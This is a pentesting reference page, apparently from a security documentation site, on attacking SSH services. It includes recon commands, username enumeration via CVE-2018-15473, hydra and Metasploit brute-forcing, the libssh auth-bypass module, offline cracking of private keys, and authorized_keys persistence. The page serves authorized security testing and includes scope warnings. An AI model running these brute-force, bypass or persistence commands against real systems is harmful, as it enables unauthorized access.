> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# 22 - SSH (Secure Shell)

`Default Port: 22`

SSH is the most common remote access protocol on Linux and network infrastructure, and because it's everywhere, it's also one of the first things worth checking for weak credentials, reused keys, and version-specific vulnerabilities. Once you're in, it doubles as one of the best pivoting tools available, port forwarding and tunneling are built in, no extra software needed.

> **Password Authentication**
>
> Standard username and password. Straightforward to brute-force if rate limiting and lockout aren't configured.

> **Key-Based Authentication**
>
> A private key stands in for a password. Far more resistant to brute-forcing, but a weak passphrase or a leaked key changes that completely.

> [!TIP]
>
> SSH is also one of the best pivoting tools you'll use. See the [Pivoting & Port Forwarding page](https://0-x.dev/pivoting-port-forwarding.md) for local, dynamic, and remote forwarding in depth, this page covers SSH-specific enumeration and attacks only.

***

## Connecting

```bash theme={null}
ssh USER@TARGET
ssh -i private_key USER@TARGET
```

```bash theme={null}
ssh -v USER@TARGET     # verbose output, useful for troubleshooting auth method negotiation
```

> [!TIP]
>
> If a server offers key-based auth but you only have a password, SSH may try key auth first and fail silently. Force password authentication explicitly:
>
> ```bash theme={null}
> ssh -v USER@TARGET -o PreferredAuthentications=password
> ```

***

## Recon

```bash theme={null}
nmap -p22 -sV TARGET
nc -vn TARGET 22
```

`ssh-audit` goes well beyond a version banner, it reports supported algorithms, known weaknesses, and concrete hardening recommendations in one pass:

```bash theme={null}
./ssh-audit.py TARGET
```

Checking which authentication methods a server actually offers narrows down your approach before attempting anything:

```bash theme={null}
nmap --script ssh-auth-methods --script-args="ssh.user=USER" -p22 TARGET
```

***

## Username Enumeration

> [!NOTE]
>
> OpenSSH through 7.7 (CVE-2018-15473) has a timing/response difference between valid and invalid usernames during authentication, letting you enumerate valid accounts without ever completing a login.

```bash theme={null}
python3 ssh-username-enum.py -w users.txt TARGET -p 22
```

```bash theme={null}
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS TARGET
run
```

***

## Brute Forcing

```bash theme={null}
hydra -l root -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt ssh://TARGET:22 -v
```

```bash theme={null}
use auxiliary/scanner/ssh/ssh_login
set RHOSTS TARGET
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```

***

## Attacking SSH Keys

If you recover a private key (from a backup, a misconfigured share, or a compromised host) and it's passphrase-protected, it's crackable offline just like any other credential.

```bash theme={null}
/usr/share/john/ssh2john.py id_rsa > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash
```

> [!TIP]
>
> Always check a recovered private key's file permissions and any matching `authorized_keys` on a host you already have access to. A key alone is only half the picture, confirm which account and which host it's actually meant to unlock.

***

## Known Vulnerabilities

```bash theme={null}
use auxiliary/scanner/ssh/libssh_auth_bypass
```

> [!WARNING]
>
> `libssh_auth_bypass` targets CVE-2018-10933, a flaw letting an attacker skip authentication entirely on affected libssh server versions (not OpenSSH itself). A positive result is a critical, no-credentials-needed finding.

***

## Post-Exploitation: Persistence

```bash theme={null}
echo YOUR_PUBLIC_KEY >> ~/.ssh/authorized_keys
```

> [!WARNING]
>
> Appending your own key to `authorized_keys` is a lightweight but detectable persistence method. Confirm it's in scope and remove it during cleanup.

***

## Post-Exploitation: File Transfer

```bash theme={null}
scp USER@TARGET:/remote/path /local/path         # download
scp /local/path USER@TARGET:/remote/path          # upload
```

```bash theme={null}
sftp USER@TARGET
```

***

## Quick Reference Tools

> **[Hackviser: SSH](https://hackviser.com/tactics/pentesting/services/ssh)**
>
> Quick-reference pentesting guide for the SSH service.

> **[HackTricks: SSH](https://hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html)**
>
> Deeper breakdown of SSH enumeration and exploitation techniques.

> **[ssh-audit](https://github.com/jtesta/ssh-audit)**
>
> Automated SSH configuration and algorithm auditing.

> [!WARNING]
>
> Key-based persistence and credential brute-forcing are both easily logged, high-impact actions. Confirm scope before going beyond version fingerprinting and authorized credential testing.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.